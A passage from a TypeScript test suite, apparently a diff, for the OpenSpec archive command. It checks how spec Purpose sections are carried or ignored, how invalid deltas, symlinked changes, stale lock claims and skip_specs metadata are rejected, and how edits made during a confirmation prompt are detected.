changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'fenced-only'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // A code sample is not a description of the capability, so it counts as + // an absent Purpose rather than one worth carrying. + const specContent = `## Purpose + +\`\`\`yaml +retries: 3 +\`\`\` + +## ADDED Requirements + +### Requirement: Retry Requests +The system SHALL retry failed requests. + +#### Scenario: Request retried +- **WHEN** a request fails +- **THEN** it is retried +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', 'fenced-only', 'spec.md'), + 'utf-8' + ); + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` + ); + expect(updatedContent).not.toContain('retries: 3'); + }); + + it('should end the Purpose at the next heading outside a code fence (issue #1413)', async () => { + const changeName = 'new-spec-with-fenced-heading'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'fenced-heading'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // The fenced `## Requirements` must not be mistaken for the end of the + // Purpose section, nor for a real section once the spec is written. + const specContent = `## Purpose + +Documents the main spec shape for readers. A main spec looks like: + +\`\`\`markdown +## Requirements + +### Requirement: Illustrative Only +\`\`\` + +## ADDED Requirements + +### Requirement: Real Requirement +The system SHALL do the real thing. + +#### Scenario: Real thing done +- **WHEN** asked +- **THEN** done +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', 'fenced-heading', 'spec.md'), + 'utf-8' + ); + // The whole fenced sample stays inside Purpose... + expect(updatedContent).toContain('Documents the main spec shape for readers.'); + expect(updatedContent).toContain('### Requirement: Illustrative Only'); + // ...and none of it is read as real structure. + expect(findMainSpecStructureIssues(updatedContent)).toHaveLength(0); + const spec = new MarkdownParser(updatedContent).parseSpec('fenced-heading'); + expect(spec.requirements).toHaveLength(1); + }); + + it('should keep the placeholder when the delta Purpose is only an HTML comment (issue #1413)', async () => { + const changeName = 'new-spec-with-unfilled-template'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'unfilled'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // This is the shipped delta template left unfilled. + const specContent = `## Purpose +<!-- New capabilities only: one or two sentences on what this capability is for. --> + +## ADDED Requirements + +### Requirement: Do Thing +The system SHALL do the thing. + +#### Scenario: Thing done +- **WHEN** asked +- **THEN** done +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', 'unfilled', 'spec.md'), + 'utf-8' + ); + expect(updatedContent).toContain( + `TBD - created by archiving change ${changeName}. Update Purpose after archive.` + ); + expect(updatedContent).not.toContain('New capabilities only'); + }); + + it('should warn when a carried Purpose is under the strict-mode minimum (issue #1413)', async () => { + const changeName = 'new-spec-with-brief-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'points'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + const specContent = `## Purpose + +Tracks loyalty points. + +## ADDED Requirements + +### Requirement: Track Points +The system SHALL track points. + +#### Scenario: Points tracked +- **WHEN** an order completes +- **THEN** points are tracked +`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile( + path.join(tempDir, 'openspec', 'specs', 'points', 'spec.md'), + 'utf-8' + ); + // The author's words are kept - the warning exists so the strict-mode + // failure is not a surprise later. + expect(updatedContent).toContain('Tracks loyalty points.'); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('carried Purpose is under 50 characters') + ); + }); + + it('should not overwrite the Purpose of an existing main spec (issue #1413)', async () => { + const changeName = 'existing-spec-with-purpose'; + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', 'billing'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'billing'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + `# billing Specification + +## Purpose +The established purpose that must survive archiving. + +## Requirements + +### Requirement: Charge Card +The system SHALL charge the card on file. + +#### Scenario: Card charged +- **WHEN** an invoice is due +- **THEN** the card is charged +` + ); + + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `## Purpose + +A purpose written in the delta that must be ignored for an existing spec. + +## ADDED Requirements + +### Requirement: Refund Card +The system SHALL refund the card on file. + +#### Scenario: Refund issued +- **WHEN** a refund is approved +- **THEN** the card is refunded +` + ); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + const updatedContent = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(updatedContent).toContain('The established purpose that must survive archiving.'); + expect(updatedContent).not.toContain('A purpose written in the delta that must be ignored'); + expect(updatedContent).toContain('### Requirement: Refund Card'); + // Dropping it silently would be indistinguishable from it having worked. + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('billing - delta Purpose ignored; billing already has one') + ); + }); + + it.each([ + [ + 'the existing spec has no Purpose at all', + 'existing-spec-without-purpose', + 'no-purpose-yet', + `# no-purpose-yet Specification + +## Requirements + +### Requirement: Old Thing +The system SHALL do the old thing. + +#### Scenario: Old done +- **WHEN** asked +- **THEN** done +`, + ], + [ + 'the existing Purpose is identical to the delta Purpose', + 'existing-spec-with-same-purpose', + 'same-purpose', + `# same-purpose Specification + +## Purpose +Shared purpose text that both files carry verbatim for this test case. + +## Requirements + +### Requirement: Old Thing +The system SHALL do the old thing. + +#### Scenario: Old done +- **WHEN** asked +- **THEN** done +`, + ], + ])( + 'should not warn about an ignored delta Purpose when %s (issue #1413)', + async (_label, changeName, specFolder, mainSpec) => { + const changeSpecDir = path.join(tempDir, 'openspec', 'changes', changeName, 'specs', specFolder); + await fs.mkdir(changeSpecDir, { recursive: true }); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', specFolder); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec); + + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `## Purpose + +Shared purpose text that both files carry verbatim for this test case. + +## ADDED Requirements + +### Requirement: New Thing +The system SHALL do the new thing. + +#### Scenario: New done +- **WHEN** asked +- **THEN** done +` + ); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + // "already has one" is false when it has none, and noise when the two + // bodies match. + expect(console.log).not.toHaveBeenCalledWith(expect.stringContaining('already has one')); + } + ); + + it('should still error on MODIFIED when creating new spec file', async () => { + const changeName = 'new-spec-with-modified'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'new-capability'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Create delta spec with MODIFIED requirement (should fail for new spec) + const specContent = `# New Capability - Changes + +## ADDED Requirements + +### Requirement: New Feature +New feature description. + +## MODIFIED Requirements + +### Requirement: Existing Feature +Modified content.`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + // Execute archive - should abort with error message (not throw, but log and return) + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + // Verify error message mentions MODIFIED not allowed for new specs + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('new-capability: target spec does not exist; only ADDED requirements are allowed for new specs. MODIFIED and RENAMED operations require an existing spec.') + ); + expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); + + // Verify spec was NOT created + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'new-capability', 'spec.md'); + await expect(fs.access(mainSpecPath)).rejects.toThrow(); + + // Verify change was NOT archived + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('should still error on RENAMED when creating new spec file', async () => { + const changeName = 'new-spec-with-renamed'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'another-capability'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Create delta spec with RENAMED requirement (should fail for new spec) + const specContent = `# Another Capability - Changes + +## ADDED Requirements + +### Requirement: New Feature +New feature description. + +## RENAMED Requirements +- FROM: \`### Requirement: Old Name\` +- TO: \`### Requirement: New Name\``; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + // Execute archive - should abort with error message (not throw, but log and return) + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + // Verify error message mentions RENAMED not allowed for new specs + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('another-capability: target spec does not exist; only ADDED requirements are allowed for new specs. MODIFIED and RENAMED operations require an existing spec.') + ); + expect(console.log).toHaveBeenCalledWith('Aborted. No files were changed.'); + + // Verify spec was NOT created + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'another-capability', 'spec.md'); + await expect(fs.access(mainSpecPath)).rejects.toThrow(); + + // Verify change was NOT archived + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('should throw error if change does not exist', async () => { + await expect( + archiveCommand.execute('non-existent-change', { yes: true }) + ).rejects.toThrow("Change 'non-existent-change' not found."); + }); + + it('should throw error if archive already exists', async () => { + const changeName = 'duplicate-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + + // Create existing archive with same date + const date = formatLocalDate(); + const archivePath = path.join(tempDir, 'openspec', 'changes', 'archive', `${date}-${changeName}`); + await fs.mkdir(archivePath, { recursive: true }); + + // Try to archive + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(`Archive '${date}-${changeName}' already exists.`); + }); + + it.skipIf(process.platform === 'win32')( + 'does not replace a dangling symlink at the archive destination', + async () => { + const changeName = 'dangling-archive-target'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + const archivePath = path.join( + tempDir, + 'openspec', + 'changes', + 'archive', + `${formatLocalDate()}-${changeName}` + ); + await fs.symlink('missing-target', archivePath); + + await expect( + archiveCommand.execute(changeName, { yes: true, skipSpecs: true }) + ).rejects.toThrow(/already exists/); + + expect((await fs.lstat(archivePath)).isSymbolicLink()).toBe(true); + await expect(fs.readlink(archivePath)).resolves.toBe('missing-target'); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'archives a valid maximum-length date-prefixed change name', + async () => { + const prefix = `${formatLocalDate()}-`; + const changeName = prefix + 'x'.repeat(251 - Buffer.byteLength(prefix)); + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + + await archiveCommand.execute(changeName, { yes: true, skipSpecs: true }); + + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', 'archive', changeName)) + ).resolves.not.toThrow(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'rejects an explicitly named symlinked active change', + async () => { + const changeName = 'symlinked-active-change'; + const realChange = path.join(tempDir, 'real-change'); + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(realChange, { recursive: true }); + await fs.symlink(realChange, changeDir, 'dir'); + + await expect( + archiveCommand.execute(changeName, { yes: true, skipSpecs: true }) + ).rejects.toThrow(/symbolic link/); + + expect((await fs.lstat(changeDir)).isSymbolicLink()).toBe(true); + await expect(fs.access(realChange)).resolves.not.toThrow(); + } + ); + + it.skipIf(process.platform === 'win32')( + 'reports a symlinked active change as one JSON failure document', + async () => { + const changeName = 'symlinked-active-change-json'; + const realChange = path.join(tempDir, 'real-json-change'); + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(realChange, { recursive: true }); + await fs.symlink(realChange, changeDir, 'dir'); + + await archiveCommand.execute(changeName, { + json: true, + yes: true, + skipSpecs: true, + }); + + const calls = (console.log as unknown as ReturnType<typeof vi.fn>).mock.calls; + expect(calls).toHaveLength(1); + const payload = JSON.parse(String(calls[0][0])); + expect(payload.archive).toBeNull(); + expect(payload.status).toEqual([ + expect.objectContaining({ + severity: 'error', + code: 'archive_change_symlink', + }), + ]); + expect(process.exitCode).toBe(1); + expect((await fs.lstat(changeDir)).isSymbolicLink()).toBe(true); + } + ); + + it('gives safe recovery guidance for a stale archive claim', async () => { + const changeName = 'stale-archive-claim'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + const archiveName = `${formatLocalDate()}-${changeName}`; + const claimPath = archiveClaimPath(archiveName); + await fs.writeFile(claimPath, JSON.stringify({ pid: 2_147_483_647 })); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/remove the stale claim at .*\.openspec-archive\.lock/); + + await expect(fs.access(changeDir)).resolves.not.toThrow(); + await expect(fs.access(claimPath)).resolves.not.toThrow(); + }); + + it('keeps an archive claim owned by a running process', async () => { + const changeName = 'active-archive-claim'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + const archiveName = `${formatLocalDate()}-${changeName}`; + const claimPath = archiveClaimPath(archiveName); + await fs.writeFile(claimPath, JSON.stringify({ pid: process.pid })); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/already being created/); + + await expect(fs.access(changeDir)).resolves.not.toThrow(); + await expect(fs.access(claimPath)).resolves.not.toThrow(); + }); + + // Windows defers deletion of an open file until its original handle closes, + // so unlink-and-recreate cannot model a persistent replacement there. + it.skipIf(process.platform === 'win32')( + 'does not unlink a claim entry replaced by another process', + async () => { + const changeName = 'replaced-archive-claim'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + const archiveName = `${formatLocalDate()}-${changeName}`; + const claimPath = archiveClaimPath(archiveName); + const realRename = fs.rename.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + let replaced = false; + vi.spyOn(fs, 'rename').mockImplementation(async (source, destination) => { + if ( + !replaced && + String(source).endsWith(`${path.sep}changes${path.sep}${changeName}`) && + String(destination).endsWith(`${path.sep}archive${path.sep}${archiveName}`) + ) { + replaced = true; + await fs.unlink(claimPath); + await fs.writeFile(claimPath, 'replacement claim\n'); + } + return realRename(source, destination); + }); + + await archiveCommand.execute(changeName, { yes: true, skipSpecs: true }); + + expect(replaced).toBe(true); + await expect(fs.readFile(claimPath, 'utf-8')).resolves.toBe('replacement claim\n'); + } + ); + + it('should handle changes without tasks.md', async () => { + const changeName = 'no-tasks-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + + // Execute archive without tasks.md + await archiveCommand.execute(changeName, { yes: true }); + + // Should complete without warnings + expect(console.log).not.toHaveBeenCalledWith( + expect.stringContaining('incomplete task(s)') + ); + + // Verify change was archived + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.length).toBe(1); + }); + + it('should handle changes without specs', async () => { + const changeName = 'no-specs-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + + // Execute archive without specs + await archiveCommand.execute(changeName, { yes: true }); + + // Should complete without spec updates + expect(console.log).not.toHaveBeenCalledWith( + expect.stringContaining('Specs to update') + ); + + // Verify change was archived + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.length).toBe(1); + }); + + it('should archive a skip_specs change with no spec files cleanly', async () => { + const changeName = 'marked-refactor'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + + await archiveCommand.execute(changeName, { yes: true }); + + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives.some(a => a.includes(changeName))).toBe(true); + expect(process.exitCode).toBeUndefined(); + }); + + it('should block archiving a skip_specs change that has files under specs/', async () => { + const changeName = 'marked-with-stray-specs'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const strayDir = path.join(changeDir, 'specs', 'notes'); + await fs.mkdir(strayDir, { recursive: true }); + await fs.writeFile(path.join(strayDir, 'spec.md'), '# headerless notes\n'); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('skip_specs is set in .openspec.yaml but spec files exist under specs/') + ); + expect(process.exitCode).toBe(1); + // Change must not have moved. + await expect(fs.access(changeDir)).resolves.toBeUndefined(); + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('should block archiving when skip_specs is set but the metadata is unhonorable', async () => { + const changeName = 'marked-invalid-metadata'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + // skip_specs without the required schema field: validate rejects this + // metadata, so archive must not accept the change either. + await fs.writeFile(path.join(changeDir, '.openspec.yaml'), 'skip_specs: true\n'); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('skip_specs is set but .openspec.yaml is not valid change metadata') + ); + expect(process.exitCode).toBe(1); + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('should block archiving when skip_specs names an unknown schema', async () => { + const changeName = 'marked-unknown-schema'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + // Well-shaped metadata naming a schema that does not resolve: status + // rejects this metadata, so archive must not honor the marker and + // bypass delta validation even though specs/ is empty. + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: does-not-exist\nskip_specs: true\n' + ); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('skip_specs is set but .openspec.yaml is not valid change metadata') + ); + expect(process.exitCode).toBe(1); + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('should block archiving when the metadata file exists but cannot be read', async () => { + const changeName = 'metadata-as-directory'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + // .openspec.yaml as a directory: every metadata-reading surface errors + // and the marker state cannot be determined, so archive must fail + // closed into validation instead of treating the change as unmarked. + await fs.mkdir(path.join(changeDir, '.openspec.yaml'), { recursive: true }); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('skip_specs is set but .openspec.yaml is not valid change metadata') + ); + expect(process.exitCode).toBe(1); + const archives = await fs.readdir(path.join(tempDir, 'openspec', 'changes', 'archive')); + expect(archives.some(a => a.includes(changeName))).toBe(false); + }); + + it('should skip spec updates when --skip-specs flag is used', async () => { + const changeName = 'skip-specs-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'test-capability'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Create spec in change + const specContent = '# Test Capability Spec\n\nTest content'; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + // Execute archive with --skip-specs flag and noValidate to skip validation + await archiveCommand.execute(changeName, { yes: true, skipSpecs: true, noValidate: true }); + + // Verify skip message was logged + expect(console.log).toHaveBeenCalledWith( + 'Skipping spec updates (--skip-specs flag provided).' + ); + + // Verify spec was NOT copied to main specs + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'test-capability', 'spec.md'); + await expect(fs.access(mainSpecPath)).rejects.toThrow(); + + // Verify change was still archived + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.length).toBe(1); + expect(archives[0]).toMatch(new RegExp(`\\d{4}-\\d{2}-\\d{2}-${changeName}`)); + }); + + it('should skip validation when commander sets validate to false (--no-validate)', async () => { + const changeName = 'skip-validation-flag'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'unstable-capability'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + const deltaSpec = `# Unstable Capability + +## ADDED Requirements + +### Requirement: Logging Feature +**ID**: REQ-LOG-001 + +The system will log all events. + +#### Scenario: Event recorded +- **WHEN** an event occurs +- **THEN** it is captured`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), deltaSpec); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + + const deltaSpy = vi.spyOn(Validator.prototype, 'validateChangeDeltaSpecs'); + const specContentSpy = vi.spyOn(Validator.prototype, 'validateSpecContent'); + + try { + await archiveCommand.execute(changeName, { yes: true, skipSpecs: true, validate: false }); + + expect(deltaSpy).not.toHaveBeenCalled(); + expect(specContentSpy).not.toHaveBeenCalled(); + + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.length).toBe(1); + expect(archives[0]).toMatch(new RegExp(`\\d{4}-\\d{2}-\\d{2}-${changeName}`)); + } finally { + deltaSpy.mockRestore(); + specContentSpy.mockRestore(); + } + }); + + it('should proceed with archive when user declines spec updates', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + + const changeName = 'decline-specs-feature'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'test-capability'); + await fs.mkdir(changeSpecDir, { recursive: true }); + + // Create valid spec in change + const specContent = `# Test Capability Spec + +## Purpose +This is a test capability specification. + +## Requirements + +### The system SHALL provide test capability + +#### Scenario: Basic test +Given a test condition +When an action occurs +Then expected result happens`; + await fs.writeFile(path.join(changeSpecDir, 'spec.md'), specContent); + + // Mock confirm to return false (decline spec updates) + mockConfirm.mockResolvedValueOnce(false); + + // Execute archive without --yes flag + await archiveCommand.execute(changeName); + + // Verify user was prompted about specs + expect(mockConfirm).toHaveBeenCalledWith({ + message: 'Proceed with spec updates?', + default: true + }); + + // Verify skip message was logged + expect(console.log).toHaveBeenCalledWith( + 'Skipping spec updates. Proceeding with archive.' + ); + + // Verify spec was NOT copied to main specs + const mainSpecPath = path.join(tempDir, 'openspec', 'specs', 'test-capability', 'spec.md'); + await expect(fs.access(mainSpecPath)).rejects.toThrow(); + + // Verify change was still archived + const archiveDir = path.join(tempDir, 'openspec', 'changes', 'archive'); + const archives = await fs.readdir(archiveDir); + expect(archives.length).toBe(1); + expect(archives[0]).toMatch(new RegExp(`\\d{4}-\\d{2}-\\d{2}-${changeName}`)); + }); + + it('warns about absorbed content before asking to apply the destructive spec update', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + const changeName = 'warn-before-spec-update'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'demo'); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'demo'); + await fs.mkdir(changeSpecDir, { recursive: true }); + await fs.mkdir(mainSpecDir, { recursive: true }); + + const mainSpec = `# demo Specification + +## Purpose +This capability exists to exercise archive warning behavior. + +## Requirements + +### Requirement: Target +The system SHALL target. + +#### Scenario: Target works +- **WHEN** it runs +- **THEN** it works + + ### Notes +Keep this note. + +### Requirement: Survivor +The system SHALL survive. + +#### Scenario: Survivor works +- **WHEN** it runs +- **THEN** it survives +`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec); + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# demo - Changes + +## REMOVED Requirements + +### Requirement: Target +**Reason**: It is obsolete. +` + ); + + mockConfirm.mockReset(); + mockConfirm.mockImplementationOnce(async () => { + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('"### Notes" sits inside requirement "Target"') + ); + return false; + }); + + await archiveCommand.execute(changeName); + + expect(mockConfirm).toHaveBeenCalledWith({ + message: 'Proceed with spec updates?', + default: true, + }); + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.toBe(mainSpec); + await expect(fs.access(changeDir)).rejects.toThrow(); + }); + + it('does not apply a stale retirement decision when discarded content changes at the prompt', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + const changeName = 'retirement-changed-at-prompt'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const deltaDir = path.join(changeDir, 'specs', 'legacy-layer'); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + const target = path.join(mainSpecDir, 'spec.md'); + await fs.mkdir(deltaDir, { recursive: true }); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, '.openspec.yaml'), 'schema: spec-driven\nretire_capabilities: true\n'); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Done\n'); + await fs.writeFile( + path.join(deltaDir, 'spec.md'), + `## REMOVED Requirements + +### Requirement: Legacy behavior +**Reason**: It is retired. +**Migration**: None. +` + ); + await fs.writeFile( + target, + `# legacy-layer Specification + +## Purpose +This capability preserves legacy behavior for existing consumers. + +## Requirements + +### Requirement: Legacy behavior +The system SHALL preserve legacy behavior. + +#### Scenario: Legacy behavior applies +- **WHEN** legacy behavior is requested +- **THEN** it remains available +` + ); + + mockConfirm.mockReset(); + mockConfirm.mockImplementationOnce(async () => { + const current = await fs.readFile(target, 'utf-8'); + await fs.writeFile( + target, + current.replace( + '- **THEN** it remains available', + '- **THEN** this concurrent edit remains available' + ) + ); + return true; + }); + + await archiveCommand.execute(changeName); + + await expect(fs.readFile(target, 'utf-8')).resolves.toContain( + '- **THEN** this concurrent edit remains available' + ); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining("Spec inputs for 'legacy-layer' changed") + ); + }); + + it('does not use retirement authorization that changed at the prompt', async () => { + const { confirm } = await import('@inquirer/prompts'); + const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + const changeName = 'retirement-marker-changed-at-prompt'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const deltaDir = path.join(changeDir, 'specs', 'legacy-layer'); + await fs.mkdir(deltaDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Done\n'); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nretire_capabilities: true\n' + ); + await fs.writeFile( + path.join(deltaDir, 'spec.md'), + `## REMOVED Requirements + +### Requirement: Legacy behavior +**Reason**: It is retired. +**Migration**: None. +` + ); + const target = path.join( + tempDir, + 'openspec', + 'specs', + 'legacy-layer', + 'spec.md' + ); + await fs.mkdir(path.dirname(target), { recursive: true }); + await fs.writeFile( + target, + `# legacy-layer Specification + +## Purpose +This capability preserves legacy behavior for existing consumers. + +## Requirements + +### Requirement: Legacy behavior +The system SHALL preserve legacy behavior. + +#### Scenario: Legacy behavior applies +- **WHEN** legacy behavior is requested +- **THEN** it remains available +` + ); + + mockConfirm.mockReset(); + mockConfirm.mockImplementationOnce(async () => { + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nretire_capabilities: false\n' + ); + return true; + }); + + await archiveCommand.execute(changeName); + + await expect(fs.access(target)).resolves.not.toThrow(); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('retirement authorization changed') + ); + }); + + it('prints the loss warning before --yes writes the spec', async () => { + const changeName = 'warn-before-yes-write'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + const changeSpecDir = path.join(changeDir, 'specs', 'demo'); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'demo'); + await fs.mkdir(changeSpecDir, { recursive: true }); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + `# demo Specification + +## Purpose +This capability exists to exercise archive warning behavior. + +## Requirements + +### Requirement: Target +The system SHALL target. + +#### Scenario: Target works +- **WHEN** it runs +- **THEN** it works + + ### Notes +Keep this note. + +### Requirement: Survivor +The system SHALL survive. + +#### Scenario: Survivor works +- **WHEN** it runs +- **THEN** it survives +` + ); + await fs.writeFile( + path.join(changeSpecDir, 'spec.md'), + `# demo - Changes + +## REMOVED Requirements + +### Requirement: Target +**Reason**: It is obsolete. +` + ); + + await archiveCommand.execute(changeName, { yes: true }); + + const output = ( + console.log as unknown as { mock: { calls: unknown[][] } } + ).mock.calls.flat().map(String); + const warningIndex = output.findIndex((line) => + line.includes('"### Notes" sits inside requirement "Target"') + ); + const successIndex = output.indexOf('Specs updated successfully.'); + expect(warningIndex).toBeGreaterThanOrEqual(0); + 